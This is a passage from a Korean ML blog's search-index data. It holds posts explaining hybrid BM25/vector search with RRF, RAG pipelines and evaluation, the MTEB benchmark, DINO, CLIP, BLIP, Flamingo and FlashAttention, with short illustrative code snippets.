doc_id in enumerate(bm25_results): scores[doc_id] = scores.get(doc_id, 0) + 1 / (k + rank + 1) for rank, doc_id in enumerate(vector_results): scores[doc_id] = scores.get(doc_id, 0) + 1 / (k + rank + 1) return sorted(scores.items(), key=lambda x: -x[1]) 점수 스케일이 달라도 순위 기반이라 자연스럽게 통합된다. 가중치 튜닝 없이도 안정적인 결과를 낸다.\n전체 파이프라인 실무 RAG의 전형적인 검색 파이프라인이다.\n쿼리 ├→ BM25 검색 → 상위 50개 └→ 벡터 검색 → 상위 50개 ↓ RRF 결합 상위 20개 후보 ↓ Cross-Encoder 리랭킹 최종 상위 5개 ↓ LLM 답변 생성 1단계 검색(Retrieval): Bi-Encoder + BM25로 빠르게 후보를 넓게 모은다\n2단계 리랭킹(Reranking): Cross-Encoder로 정확하게 재정렬한다\nCross-Encoder는 쿼리와 각 후보를 함께 처리해 정밀한 관련도를 계산한다. 20개에 대해서만 실행하므로 속도 부담이 없다.\nElasticsearch 하이브리드 검색 from elasticsearch import Elasticsearch client = Elasticsearch() # 하이브리드 쿼리 response = client.search( index=\u0026#34;documents\u0026#34;, body={ \u0026#34;query\u0026#34;: { \u0026#34;bool\u0026#34;: { \u0026#34;should\u0026#34;: [ # BM25 {\u0026#34;match\u0026#34;: {\u0026#34;content\u0026#34;: query_text}}, # 벡터 검색 (kNN) {\u0026#34;knn\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;embedding\u0026#34;, \u0026#34;query_vector\u0026#34;: query_embedding, \u0026#34;num_candidates\u0026#34;: 50, \u0026#34;k\u0026#34;: 10, }} ] } } } ) 트레이드오프 하이브리드 검색은 운영 복잡도가 높아진다. BM25 인덱스와 벡터 인덱스를 둘 다 관리해야 하고, 인덱스 동기화가 필요하다. 단일 방식 대비 저장 공간도 더 필요하다.\n그러나 실무에서 \u0026ldquo;정확한 제품명이나 코드가 들어간 쿼리\u0026quot;와 \u0026ldquo;개념적 질문\u0026quot;을 모두 잘 처리해야 하는 경우가 대부분이다. 단순 벡터 검색만으로는 전자가 취약하다. 처음부터 하이브리드로 구성하는 것이 나중에 마이그레이션하는 것보다 낫다.\n","permalink":"https://charminggroot.github.io/posts/079-hybrid-search/","summary":"벡터 검색은 의미 유사도를 잘 포착하지만 정확한 키워드 매칭에 약하다. BM25는 반대다. 두 방식을 결합한 하이브리드 검색이 실무 RAG에서 더 안정적인 성능을 낸다. RRF로 두 순위를 결합하고 Cross-Encoder로 재정렬하는 전체 파이프라인을 다룬다.","title":"079. 하이브리드 검색 — BM25 + 벡터 검색"},{"content":"LLM은 학습 데이터의 지식만 안다. 2023년까지 학습된 모델은 2024년 이후 사건을 모른다. 사내 문서, 고객 데이터, 특정 도메인 지식도 없다. 그리고 알고 있는 것도 틀리게 말하는 환각(hallucination)이 있다.\nRAG(Retrieval-Augmented Generation)는 이 한계를 우회한다. 모델을 재학습하지 않고, 답변 생성 시 관련 문서를 검색해 컨텍스트로 넣어준다.\n기본 파이프라인 두 단계로 나뉜다.\n인덱싱 (오프라인) 문서 수집 ↓ 청킹 (077) 텍스트 조각들 ↓ 임베딩 모델 벡터들 ↓ 벡터 DB 저장 검색 + 생성 (온라인) 사용자 쿼리 ↓ 임베딩 모델 쿼리 벡터 ↓ 벡터 DB 유사도 검색 관련 청크 (top-k) ↓ 프롬프트에 삽입 [컨텍스트] + [쿼리] → LLM → 답변 프롬프트 구성 검색된 청크를 LLM에 전달하는 프롬프트다.\n다음 컨텍스트를 기반으로 질문에 답하세요. 컨텍스트에 없는 내용은 모른다고 답하세요. 컨텍스트: --- {chunk_1} --- {chunk_2} --- {chunk_3} 질문: {user_query} 답변: \u0026ldquo;컨텍스트에 없으면 모른다고 답하라\u0026quot;는 지시가 환각을 줄이는 핵심이다. LLM이 검색 결과 외부의 정보를 임의로 생성하지 않도록 제약한다.\nNaive RAG의 실패 패턴 기본 RAG는 여러 상황에서 실패한다.\n청크 경계 문제: 답이 두 청크에 걸쳐 있으면 하나의 청크만 검색돼 답이 불완전하다.\n쿼리-문서 표현 불일치: 사용자는 \u0026ldquo;k8s에서 Pod을 자동으로 늘리는 방법\u0026quot;이라고 묻지만 문서는 \u0026ldquo;HPA를 통한 수평적 자동 확장\u0026quot;이라고 쓰여있다. 벡터 유사도가 낮을 수 있다.\n다중 쿼리 필요: \u0026ldquo;A와 B의 차이\u0026quot;를 묻는 쿼리는 A에 대한 청크와 B에 대한 청크를 각각 가져와야 한다.\n노이즈 청크: top-k에 관련 없는 청크가 섞이면 LLM이 혼란을 겪어 답이 나빠진다.\n개선 기법 HyDE (Hypothetical Document Embedding) 쿼리로 직접 검색하지 않고, LLM이 쿼리에 대한 가상 답변을 생성하고 그 답변으로 검색한다.\n쿼리: \u0026#34;HPA는 어떻게 작동하나?\u0026#34; ↓ LLM 가상 답변: \u0026#34;HPA는 메트릭 서버에서 CPU 사용률을 수집하고...\u0026#34; ↓ 임베딩 가상 답변 벡터 → 벡터 DB 검색 쿼리보다 답변 형태의 텍스트가 실제 문서와 더 유사한 벡터를 갖는 경우가 많아 검색 품질이 올라간다.\nMulti-Query 하나의 쿼리를 LLM이 여러 표현으로 변환해 각각 검색하고 결과를 합친다.\n원본: \u0026#34;k8s 오토스케일링 방법\u0026#34; ↓ LLM 변환 쿼리 1: \u0026#34;쿠버네티스 자동 확장 설정\u0026#34; 쿼리 2: \u0026#34;HPA ScaledObject 구성\u0026#34; 쿼리 3: \u0026#34;Pod 수 자동 조정 방법\u0026#34; ↓ 각각 검색 후 중복 제거 Contextual Compression 검색된 청크 전체를 LLM에 넣지 않고, 쿼리와 관련된 부분만 추출한다. 컨텍스트 윈도우를 효율적으로 사용한다.\nRAPTOR 문서들을 요약해 계층적 트리를 만든다. 잎 노드가 원본 청크, 상위 노드가 요약이다. 세부 질문에는 원본 청크를, 전체를 아우르는 질문에는 상위 요약 노드를 검색한다.\n평가 RAG의 품질을 수치로 측정하는 것이 중요하다.\nRAGAS 프레임워크의 주요 지표:\nFaithfulness: 답변이 컨텍스트에 기반하는가 (환각 측정) Answer Relevancy: 답변이 질문에 관련 있는가 Context Precision: 검색된 청크 중 실제 관련 있는 비율 Context Recall: 관련 청크가 모두 검색됐는가 from ragas import evaluate from ragas.metrics import faithfulness, answer_relevancy results = evaluate( dataset=eval_dataset, metrics=[faithfulness, answer_relevancy], ) 파인튜닝 vs RAG 도메인 지식을 활용하는 두 가지 방법이다.\n파인튜닝이 유리한 경우: 스타일, 형식, 특정 도메인 언어 패턴을 바꾸고 싶을 때. 고정된 지식을 빠르게 조회해야 할 때.\nRAG가 유리한 경우: 지식이 자주 업데이트되는 경우. 답변의 출처를 추적해야 하는 경우. 수백만 건 이상의 방대한 지식베이스. 파인튜닝 비용이 없다.\n실무에서는 파인튜닝으로 모델의 응답 스타일을 맞추고, RAG로 최신 지식을 주입하는 조합이 많다.\n트레이드오프 RAG의 한계는 컨텍스트 윈도우다. 검색된 청크가 많아질수록 LLM 입력 토큰이 늘어나 비용과 지연이 증가한다. 또한 LLM이 긴 컨텍스트에서 중간 부분을 상대적으로 덜 활용하는 \u0026ldquo;Lost in the Middle\u0026rdquo; 문제가 있다. 중요한 정보를 컨텍스트의 앞이나 뒤에 배치하는 것이 효과적이다.\n검색 실패가 생성 실패로 이어진다. 관련 청크를 찾지 못하면 LLM이 정직하게 모른다고 답하거나 환각을 생성한다. 검색 품질이 전체 시스템의 병목이다.\n","permalink":"https://charminggroot.github.io/posts/080-rag/","summary":"RAG(Retrieval-Augmented Generation)는 LLM이 답변할 때 외부 지식을 검색해 컨텍스트로 주입하는 패턴이다. 모델 가중치에 없는 최신 정보나 도메인 특화 지식을 활용하고 환각을 줄인다. 인덱싱, 검색, 생성 세 단계와 각 단계의 개선 기법을 다룬다.","title":"080. RAG — 검색 증강 생성 파이프라인"},{"content":"임베딩 모델을 선택할 때 \u0026ldquo;어떤 게 좋은가요?\u0026ldquo;라는 질문에 단순한 답은 없다. 코사인 유사도로 문장 쌍의 유사도를 측정하는 태스크와, 수백만 문서에서 관련 문서를 검색하는 태스크, 그리고 문서를 클러스터링하는 태스크는 모두 다른 모델이 잘할 수 있다.\nMTEB(Massive Text Embedding Benchmark)는 이 다양한 측면을 표준화된 방식으로 측정한다.\n8가지 평가 태스크 Retrieval: 쿼리에 관련된 문서를 찾는다. RAG의 핵심 태스크다. BEIR 데이터셋 기반. nDCG@10으로 평가한다.\nSTS (Semantic Textual Similarity): 두 문장의 의미 유사도를 0~5 점수로 예측한다. 예측값과 정답의 피어슨/스피어만 상관관계로 평가한다.\nClassification: 임베딩 벡터를 특징으로 텍스트를 분류한다. 로지스틱 회귀를 사용해 임베딩 자체의 품질을 측정한다.\nClustering: 임베딩으로 텍스트를 군집화한다. V-measure로 평가한다.\nPair Classification: 두 텍스트가 같은 의미인지 이진 분류한다.\nReranking: 주어진 후보 목록을 재정렬해 관련 문서를 상위에 놓는다.\nSummarization: 요약이 원문을 잘 반영하는지 평가한다.\nBitext Mining: 두 언어에서 서로 번역 관계인 문장 쌍을 찾는다. 다국어 모델 평가에 중요하다.\nMTEB 리더보드 읽는 법 허깅페이스 MTEB 리더보드에서 모델을 비교할 때 전체 평균(Average)만 보면 안 된다.\n실제 사용 태스크를 확인한다\nRAG를 구축한다면 Retrieval 열을 본다. 문장 유사도를 계산한다면 STS 열을 본다. 전체 평균이 높아도 해당 태스크 점수가 낮을 수 있다.\n언어를 확인한다\n대부분의 벤치마크는 영어 기준이다. 한국어가 필요하다면 MTEB의 다국어 버전(MTEB Multilingual) 또는 한국어 특화 벤치마크(KoMTEB, KLUE 등)를 참고한다. bge-m3나 multilingual-e5-large가 영어 단일 모델보다 전체 평균이 낮더라도 한국어에서는 우위일 수 있다.\n모델 크기와 속도\n임베딩 속도는 추론 지연과 비용에 직결된다. MTEB 리더보드에 파라미터 수와 임베딩 차원이 함께 표시된다. all-MiniLM-L6-v2(22M 파라미터, 384차원)는 text-embedding-3-large(1536차원)보다 수십 배 빠르지만 점수가 낮다.\n2024년 기준 주요 모델 비교\n모델 MTEB Avg Retrieval 차원 속도 text-embedding-3-large 64.6 55.4 3072 느림(API) text-embedding-3-small 62.3 52.8 1536 느림(API) bge-large-en-v1.5 64.2 54.3 1024 중간 bge-m3 62.8 59.0 1024 중간 all-mpnet-base-v2 57.8 43.8 768 빠름 all-MiniLM-L6-v2 56.3 41.9 384 매우 빠름 모델 선택 프레임워크 언어: 영어만 → 영어 특화 모델. 한국어 포함 → 다국어 모델 태스크: RAG → Retrieval 점수 우선. 유사도 → STS 우선 규모: 수백만 문서 → 차원 낮은 모델로 인덱스 크기 절약 지연: 실시간 임베딩 필요 → 작은 모델 비용: self-hosted → 오픈소스. 관리 최소화 → API 벤치마크의 한계 MTEB 점수가 높다고 실제 서비스에서 반드시 좋은 것은 아니다. MTEB 데이터셋과 실제 도메인이 다를 수 있다. 법률 문서, 의료 기록, 코드 검색은 MTEB에 잘 반영되지 않는다.\n도메인 특화 태스크에서는 범용 모델보다 도메인 데이터로 파인튜닝한 모델이 MTEB 점수는 낮아도 실제 성능이 높을 수 있다. 최종 판단은 실제 데이터로 직접 평가해야 한다.\n","permalink":"https://charminggroot.github.io/posts/081-mteb/","summary":"MTEB(Massive Text Embedding Benchmark)는 56개 데이터셋, 8개 태스크로 임베딩 모델을 종합 평가하는 벤치마크다. 모델 선택 시 전체 평균이 아니라 실제 사용 태스크와 언어에 맞는 점수를 봐야 한다.","title":"081. MTEB — 임베딩 모델 벤치마크 읽는 법"},{"content":"이미지 분류 모델을 학습하려면 레이블이 필요하다. ImageNet 120만 장에 레이블을 붙이는 데 수십만 시간의 인간 노동이 들었다. 레이블 없이 좋은 시각적 표현을 학습할 수 없을까?\nNLP에서는 MLM(마스크된 언어 모델)이 레이블 없이 텍스트 표현을 학습했다. 이미지에서 같은 역할을 하는 방법이 자기지도학습(self-supervised learning)이다.\nMeta AI의 Caron 등이 2021년 발표한 DINO(self-DIstillation with NO labels)는 레이블 없이 ViT를 학습하는 방법을 제안했다.\n학생-교사 구조 DINO는 두 개의 동일한 ViT 네트워크를 사용한다.\n교사 네트워크(Teacher): 가중치가 고정되지 않지만 역전파로 직접 학습하지 않는다. 학생의 가중치를 지수이동평균(EMA)으로 서서히 따라간다.\n학생 네트워크(Student): 일반적인 역전파로 학습한다.\n가중치_교사 = α × 가중치_교사 + (1-α) × 가중치_학생 α ≈ 0.996 (천천히 업데이트) 다중 크롭 전략 같은 이미지에서 두 가지 크기의 크롭을 만든다.\n글로벌 크롭: 이미지의 50% 이상을 포함하는 큰 크롭 2개 로컬 크롭: 이미지의 50% 미만인 작은 크롭 6~8개 교사는 글로벌 크롭만 보고, 학생은 모든 크롭을 본다.\n학습 목표: 어떤 크롭을 입력해도 같은 이미지에서 나왔으면 비슷한 표현(임베딩)을 가져야 한다.\n로컬 크롭(학생) → ViT → 임베딩_학생 글로벌 크롭(교사) → ViT → 임베딩_교사 손실: 두 임베딩이 유사해지도록 (크로스 엔트로피) 이 설계가 중요한 이유: 작은 패치만 보고도 전체 이미지와 같은 표현을 만들어야 하므로, 모델이 부분에서 전체를 이해하도록 강제된다.\nCentering과 Sharpening 자기지도학습에서 자주 발생하는 두 가지 실패 모드가 있다.\nCollapse: 모든 입력에 대해 같은 출력을 내는 것이 손실을 0으로 만드는 지름길이다. 이를 방지하기 위해 교사 출력에 Centering(평균 빼기)을 적용해 하나의 차원이 지배하지 않도록 한다.\nSharp: 교사 출력에 낮은 온도 매개변수를 적용해 특정 차원에 집중된 분포를 만든다. 학생이 구체적인 특징을 학습하도록 유도한다.\n놀라운 발견: 세그멘테이션 DINO의 어텐션 헤드를 시각화하면 세그멘테이션 레이블 없이 학습했음에도 객체 경계가 자연스럽게 나타난다.\n개 이미지를 입력하면 [CLS] 토큰의 어텐션이 개의 윤곽을 따른다. 배경과 전경이 명확하게 분리된다. 레이블 없이 의미 있는 시각적 분리를 학습한 것이다.\n이것이 DINO가 단순한 분류 사전학습을 넘어서는 부분이다. 배운 표현이 세그멘테이션, 깊이 추정, 객체 탐지 등 다양한 태스크에 전이된다.\n선형 프로빙 사전학습된 DINO 특징의 품질을 측정하는 방법이다. DINO 가중치를 고정하고 마지막에 선형 분류기 하나만 학습한다.\n선형 분류기만으로 ImageNet에서 78% 이상의 정확도가 나왔다. 이는 감독 학습(supervised)으로 학습한 ViT의 선형 프로빙 성능과 비슷하다. 레이블 없이 학습한 표현이 레이블 있는 학습과 비슷한 품질을 갖는다는 것을 의미한다.\nDINOv2와의 관계 2023년 발표된 DINOv2는 DINO를 대규모 데이터(1억 4200만 장, 자동 큐레이션)와 개선된 학습 방식으로 확장했다. 091에서 다룬다.\n트레이드오프 DINO는 학습이 불안정할 수 있다. 교사-학생 가중치 비율, 온도 파라미터, 크롭 비율이 모두 중요한 하이퍼파라미터다. 이 값들이 맞지 않으면 Collapse가 발생한다. 재현이 어렵다는 점이 초기 연구에서 지적됐다.\n또한 학습 계산량이 감독 학습보다 많다. 이미지당 여러 크롭을 처리하고 교사-학생을 동시에 실행하므로 메모리와 연산이 약 2배 필요하다.\n","permalink":"https://charminggroot.github.io/posts/082-dino/","summary":"DINO(2021)는 레이블 없이 ViT를 학습하는 자기지도학습 방법이다. 학생-교사 구조에서 이미지의 다른 크롭이 같은 표현을 갖도록 학습한다. 레이블 없이도 의미 있는 시각적 특징을 학습하고, 어텐션 맵이 자연스럽게 세그멘테이션 마스크를 형성한다.","title":"082. DINO — 자기지도학습 비전 표현"},{"content":"이미지 분류 모델은 사전 정의된 클래스만 분류할 수 있다. ImageNet 1000개 클래스를 학습한 모델은 1001번째 클래스를 추가하려면 재학습이 필요하다.\nOpenAI가 2021년 발표한 CLIP(Contrastive Language-Image Pre-Training)은 다른 접근을 택했다. 분류 레이블 대신 자연어 설명과 이미지를 같은 공간에 맞추는 것이다.\n학습 방식 인터넷에서 수집한 4억 개의 이미지-텍스트 쌍으로 학습한다. 각 이미지에는 alt 텍스트나 캡션이 있다.\n두 개의 인코더를 사용한다.\n이미지 인코더: ViT 또는 ResNet으로 이미지 → 벡터 텍스트 인코더: Transformer로 텍스트 → 벡터 대조 학습(Contrastive Learning): 배치 내 N개 이미지-텍스트 쌍에서 올바른 쌍의 유사도는 높이고, 올바르지 않은 쌍의 유사도는 낮춘다.\n배치: [(이미지1, 텍스트1), (이미지2, 텍스트2), ..., (이미지N, 텍스트N)] N×N 유사도 행렬: 텍스트1 텍스트2 ... 텍스트N 이미지1 [높음 낮음 낮음 ] 이미지2 [낮음 높음 낮음 ] ... 이미지N [낮음 낮음 높음 ] 대각선(올바른 쌍)의 유사도를 높이고, 나머지를 낮추도록 학습 N이 클수록(큰 배치) 더 많은 부정 쌍을 보므로 학습이 강해진다. CLIP은 배치 크기 32,768로 학습했다.\nZero-Shot 분류 학습된 CLIP으로 새로운 분류 태스크를 파인튜닝 없이 수행한다.\nimport clip import torch from PIL import Image model, preprocess = clip.load(\u0026#34;ViT-B/32\u0026#34;) image = preprocess(Image.open(\u0026#34;dog.jpg\u0026#34;)).unsqueeze(0) text = clip.tokenize([\u0026#34;a photo of a dog\u0026#34;, \u0026#34;a photo of a cat\u0026#34;, \u0026#34;a photo of a car\u0026#34;]) with torch.no_grad(): image_features = model.encode_image(image) text_features = model.encode_text(text) # 코사인 유사도 similarity = (image_features @ text_features.T).softmax(dim=-1) print(similarity) # [0.94, 0.05, 0.01] 클래스를 \u0026ldquo;a photo of a {class}\u0026ldquo;로 표현한다. 이미지 임베딩과 가장 유사한 텍스트 임베딩의 클래스가 예측이다.\nImageNet 1000개 클래스 Zero-Shot 분류에서 76.2% 정확도를 냈다. ResNet-50의 감독 학습(76.1%)과 비슷한 수준이다.\n크로스 모달 검색 텍스트로 이미지를 검색하거나, 이미지로 텍스트를 검색하는 것이 자연스럽다.\n# 이미지 데이터베이스를 미리 임베딩 image_embeddings = [model.encode_image(img) for img in image_database] # 텍스트 쿼리로 이미지 검색 query = \u0026#34;빨간 사과가 있는 정물화\u0026#34; text_embedding = model.encode_text(query) similarities = [cosine_similarity(text_embedding, img_emb) for img_emb in image_embeddings] top_images = sorted(zip(similarities, images), reverse=True)[:5] Stable Diffusion과의 관계 064에서 다룬 Stable Diffusion이 CLIP 텍스트 인코더를 사용한다. 프롬프트를 CLIP으로 임베딩해 U-Net의 크로스 어텐션에 주입한다. CLIP이 텍스트와 이미지를 같은 공간에 정렬했기 때문에, 텍스트 임베딩이 이미지 생성에 의미 있는 조건이 될 수 있다.\n한계 4억 개 데이터로 학습했지만 특정 도메인(의료 영상, 위성 이미지, 전문 도메인)에서는 일반화가 약하다. \u0026ldquo;CT 스캔에서 폐 결절\u0026quot;을 Zero-Shot으로 잘 분류하지 못한다.\n또한 세밀한 구분에 약하다. \u0026ldquo;두 마리 개가 공을 쫓는\u0026rdquo; 같은 복잡한 공간 관계나 속성 구분(빨간 큰 컵 vs 파란 작은 컵)에서 성능이 떨어진다.\nOpenCLIP은 CLIP을 오픈소스로 재현한 프로젝트다. Stable Diffusion 2.x와 SDXL이 OpenCLIP ViT-H/G를 텍스트 인코더로 사용한다.\n트레이드오프 CLIP은 학습 비용이 막대하다. 4억 쌍의 데이터를 대규모 GPU로 수백 GPU-일 학습한다. 이미 학습된 CLIP을 백본으로 사용하고 특정 도메인에 파인튜닝하는 것이 실용적이다. BLIP, LLaVA 같은 후속 모델들이 이 방식을 취했다.\n","permalink":"https://charminggroot.github.io/posts/083-clip/","summary":"CLIP(2021)은 4억 개의 이미지-텍스트 쌍으로 텍스트와 이미지를 같은 임베딩 공간에 정렬한다. 별도 파인튜닝 없이 새로운 분류 태스크에 적용하는 Zero-Shot 분류가 가능하고, 텍스트로 이미지를 검색하거나 이미지로 텍스트를 검색하는 크로스 모달 검색의 기반이 된다.","title":"083. CLIP — 텍스트-이미지 공동 임베딩"},{"content":"CLIP은 이미지와 텍스트를 같은 공간에 정렬하는 데 뛰어나지만, 텍스트를 생성하지는 못한다. \u0026ldquo;이 이미지를 설명하세요\u0026quot;나 \u0026ldquo;이미지에 대한 질문에 답하세요\u0026rdquo; 같은 생성 태스크에는 적합하지 않다.\nSalesforce Research의 Li 등이 2022년 발표한 BLIP(Bootstrapping Language-Image Pre-training)은 이해와 생성을 모두 처리하는 통합 비전-언어 모델이다.\n세 가지 사전학습 목표 BLIP은 하나의 모델을 세 가지 목표로 동시에 학습한다.\nITC (Image-Text Contrastive): CLIP처럼 이미지와 텍스트 임베딩을 정렬한다. 대조 학습으로 올바른 쌍의 유사도를 높인다.\nITM (Image-Text Matching): 이미지-텍스트 쌍이 매칭되는지 이진 분류한다. 단순한 임베딩 유사도가 아니라 크로스 어텐션으로 두 모달리티를 함께 처리해 더 정밀한 판단을 한다.\nLM (Language Modeling): 이미지를 조건으로 텍스트를 자기회귀 방식으로 생성한다. 이미지 캡셔닝, VQA의 답변 생성에 사용된다.\n아키텍처 이미지 인코더(ViT)와 텍스트 인코더-디코더(BERT 기반)로 구성된다.\n텍스트 모듈은 태스크에 따라 세 가지 모드로 동작한다.\nITC용: [텍스트 인코더] — 이미지 특징과 독립적으로 인코딩 ITM용: [크로스 어텐션 인코더] — 이미지 특징을 크로스 어텐션으로 참조 LM용: [인과 마스킹 디코더] — 자기회귀로 텍스트 생성 가중치 일부를 세 모드가 공유해 효율적으로 학습한다.\nCapFilt: 노이즈 데이터 정제 웹에서 수집한 이미지-텍스트 쌍은 노이즈가 많다. alt 텍스트가 이미지와 무관하거나(\u0026ldquo;click here\u0026rdquo;, 광고 문구 등) 너무 부정확한 경우가 흔하다.\nBLIP의 핵심 기여가 **CapFilt(Captioning and Filtering)**다.\n1단계 (Captioner): 깨끗한 데이터(COCO 캡션)로 파인튜닝된 캡셔너가 웹 이미지에 대한 합성 캡션을 생성한다.\n2단계 (Filter): ITM 모델이 원본 텍스트와 합성 캡션 모두를 평가해 이미지와 매칭되지 않는 것을 제거한다.\n이렇게 정제된 데이터로 재학습하는 과정이 부트스트래핑(bootstrapping)이다. 처음에는 불완전한 데이터로 모델을 학습하고, 학습된 모델로 데이터를 정제해 더 좋은 모델을 만든다.\n다운스트림 태스크 Image Captioning (이미지 설명 생성)\n# BLIP으로 이미지 캡션 생성 from transformers import BlipProcessor, BlipForConditionalGeneration from PIL import Image processor = BlipProcessor.from_pretrained(\u0026#34;Salesforce/blip-image-captioning-base\u0026#34;) model = BlipForConditionalGeneration.from_pretrained(\u0026#34;Salesforce/blip-image-captioning-base\u0026#34;) image = Image.open(\u0026#34;dog.jpg\u0026#34;) inputs = processor(image, return_tensors=\u0026#34;pt\u0026#34;) output = model.generate(**inputs) caption = processor.decode(output[0], skip_special_tokens=True) # \u0026#34;a dog playing with a ball in the park\u0026#34; VQA (Visual Question Answering)\n# 이미지에 대한 질문 답변 question = \u0026#34;이 사진에서 개가 몇 마리인가?\u0026#34; inputs = processor(image, question, return_tensors=\u0026#34;pt\u0026#34;) output = model.generate(**inputs) answer = processor.decode(output[0], skip_special_tokens=True) 이후 발전 BLIP의 한계는 이미지 인코더와 언어 모델이 강하게 결합돼 있어 더 강력한 LLM으로 교체하기 어렵다는 것이다. BLIP-2(2023, 093에서 다룸)는 Q-Former라는 중간 모듈로 이 문제를 해결해 Flan-T5, OPT 같은 대형 LLM을 비전 모델과 연결했다.\n트레이드오프 세 가지 목표를 동시에 학습하는 것은 각 목표의 성능이 단일 목표 모델보다 약간 낮을 수 있다. 그러나 하나의 모델로 다양한 태스크를 처리한다는 실용적 장점이 크다. 용도가 명확하게 캡셔닝이나 VQA 하나라면 전용 모델이 유리하고, 여러 태스크를 단일 모델로 처리해야 한다면 BLIP이 적합하다.\n","permalink":"https://charminggroot.github.io/posts/084-blip/","summary":"BLIP(2022)은 노이즈가 많은 웹 이미지-텍스트 쌍을 정제해 학습하는 부트스트래핑 방식을 도입했다. 이미지 이해(Image-Text Matching)와 이미지-텍스트 생성(Captioning)을 통합 모델 안에서 처리한다.","title":"084. BLIP — 이미지 캡셔닝과 VQA"},{"content":"GPT-3의 In-Context Learning은 충격적이었다. 프롬프트에 예시 몇 개를 넣으면 학습 없이 새로운 태스크를 수행한다. 이 능력을 이미지-텍스트 태스크에도 적용할 수 없을까?\nDeepMind가 2022년 발표한 Flamingo는 멀티모달 In-Context Learning을 처음으로 강력하게 구현했다.\n핵심 설계: 기존 모델을 고정 Flamingo는 두 개의 사전학습된 모델에서 출발한다.\nNFNet (비전 모델): 이미지 → 시각적 특징 Chinchilla (70B LLM): 텍스트 → 텍스트 중요한 점은 두 모델의 가중치를 고정한다는 것이다. 학습하는 것은 중간에 추가하는 연결 레이어뿐이다.\nPerceiver Resampler ViT의 출력은 이미지 해상도에 따라 크기가 달라지는 가변 길이 시퀀스다. LLM에 넣으려면 고정 크기 토큰이 필요하다.\nPerceiver Resampler가 가변 길이 시각 특징을 고정 64개 토큰으로 압축한다. 크로스 어텐션으로 시각 특징 전체를 보면서 핵심 정보를 64개 학습 가능한 쿼리 벡터로 집약한다.\n이미지 → NFNet → 가변 크기 시각 특징 ↓ Perceiver Resampler 고정 64개 시각 토큰 ↓ LLM에 삽입 Gated Cross-Attention LLM의 각 레이어 사이에 Cross-Attention Dense Layer를 삽입한다. 이 레이어가 텍스트 토큰이 시각 토큰에 어텐션하도록 한다.\n게이팅 메커니즘(tanh gate)으로 시각 정보의 영향도를 조절한다. 초기에는 게이트가 거의 닫혀 LLM의 순수 텍스트 동작을 유지하고, 학습하면서 시각 정보를 점진적으로 통합한다.\n텍스트 레이어 출력 ↓ Gated Cross-Attention (시각 토큰에 어텐션) ↓ FFN Layer ↓ 다음 텍스트 레이어 LLM 가중치는 고정이므로 기존 텍스트 능력이 보존된다. Cross-Attention 레이어만 학습해 시각 이해를 추가한다.\nFew-Shot 멀티모달 In-Context Learning [이미지1] 설명: 해변에서 파도를 타는 사람. [이미지2] 설명: 이런 프롬프트를 넣으면 모델이 두 번째 이미지를 보고 같은 형식의 설명을 생성한다. 파인튜닝 없이 예시 몇 개만으로 새로운 태스크에 적응한다.\nFew-Shot 예시가 많을수록 성능이 오른다. 4-shot이 0-shot보다, 8-shot이 4-shot보다 좋다.\n학습 데이터 ALIGN: 18억 개 이미지-텍스트 쌍 LTIP: 3억 1200만 개 이미지-텍스트 쌍 VTP: 2700만 개 비디오-텍스트 쌍 M3W: 웹에서 추출한 이미지가 삽입된 문서 특히 M3W(Multimodal MassiveWeb)가 중요하다. 텍스트 사이에 이미지가 삽입된 웹 문서를 그대로 학습해 멀티모달 인터리빙을 자연스럽게 학습한다.\n의의와 한계 Flamingo는 \u0026ldquo;사전학습된 강력한 단일 모달 모델을 최소한의 학습으로 연결한다\u0026quot;는 설계 철학을 보여줬다. 이 철학이 이후 LLaVA, InstructBLIP 등 오픈소스 멀티모달 모델들의 기반이 됐다.\n단점은 Flamingo 자체가 비공개 모델이라 직접 사용할 수 없다. 또한 비전 모델과 LLM을 고정하므로 두 모달리티의 깊은 통합이 제한된다. 같은 레이어에서 함께 학습하는 GPT-4V 같은 통합 학습 방식이 더 깊은 이해를 보인다.\n트레이드오프 기존 모델을 고정하는 방식은 학습 효율이 좋다. 연결 레이어만 학습하므로 계산 비용이 적다. 그러나 두 모달리티 간의 정렬이 통합 학습 방식만큼 깊지 않다. 텍스트에 강하게 의존하는 태스크에서 좋지만, 이미지의 세밀한 디테일이 중요한 태스크에서는 한계가 있다.\n","permalink":"https://charminggroot.github.io/posts/085-flamingo/","summary":"Flamingo(2022)는 사전학습된 비전 모델과 LLM을 고정하고 중간 연결 레이어만 학습해 강력한 멀티모달 Few-Shot 능력을 보여준다. 프롬프트에 이미지-텍스트 예시를 몇 개 제공하면 새로운 비전 태스크에 즉시 적응한다.","title":"085. Flamingo — Few-Shot 멀티모달 LLM"},{"content":"트랜스포머의 가장 큰 병목은 어텐션이다. 시퀀스 길이 n에 대해 n×n 어텐션 행렬을 만들어야 한다. n=1024면 1M 원소, n=16384(16K 컨텍스트)면 256M 원소다. 이 행렬을 GPU 메모리(HBM)에 읽고 쓰는 것이 병목이다.\nStanford의 Dao 등이 2022년 발표한 FlashAttention은 이 문제를 알고리즘 수준에서 해결했다.\nGPU 메모리 계층 GPU에는 두 종류의 메모리가 있다.\nHBM (High Bandwidth Memory): GPU 메모리라고 부르는 것. A100 기준 80GB, 대역폭 2TB/s. 크지만 느리다.\nSRAM (Static RAM): GPU 코어 내부의 공유 메모리(shared memory). A100 기준 192KB/SM, 대역폭 19TB/s. 작지만 10배 빠르다.\n기존 어텐션은 HBM에서 Q, K, V를 읽어 n×n 어텐션 행렬을 계산하고 다시 HBM에 쓴다. HBM 접근이 병목이다.\nIO-Aware 타일링 FlashAttention의 핵심은 어텐션 행렬을 HBM에 쓰지 않는 것이다.\nQ, K, V를 작은 블록(tile)으로 나눠 SRAM에 올려놓고 한 번에 계산한다. 어텐션 행렬을 전체 생성하지 않고 블록 단위로 처리하면서 최종 출력만 HBM에 쓴다.\n기존 어텐션: HBM → Q,K,V 로드 → S = QK^T 계산 → HBM 저장 HBM → S 로드 → P = softmax(S) 계산 → HBM 저장 HBM → P,V 로드 → O = PV 계산 → HBM 저장 FlashAttention: HBM → Q_block, K_block, V_block 로드 (작은 블록) → SRAM SRAM → 블록 단위 어텐션 계산 (HBM 저장 없음) 최종 출력만 HBM에 저장 수학적으로 정확히 같은 결과를 내면서 HBM 접근 횟수를 줄인다. 온라인 소프트맥스(online softmax)로 소프트맥스를 블록 단위로 점진적으로 계산한다.\n성능 항목 기존 어텐션 FlashAttention 메모리 복잡도 O(n²) O(n) 속도 기준 2~4배 빠름 수치 정확도 기준 동일 역전파 지원 O O 메모리 O(n)이 핵심이다. 16K 컨텍스트에서 기존 어텐션은 256M×4바이트 = 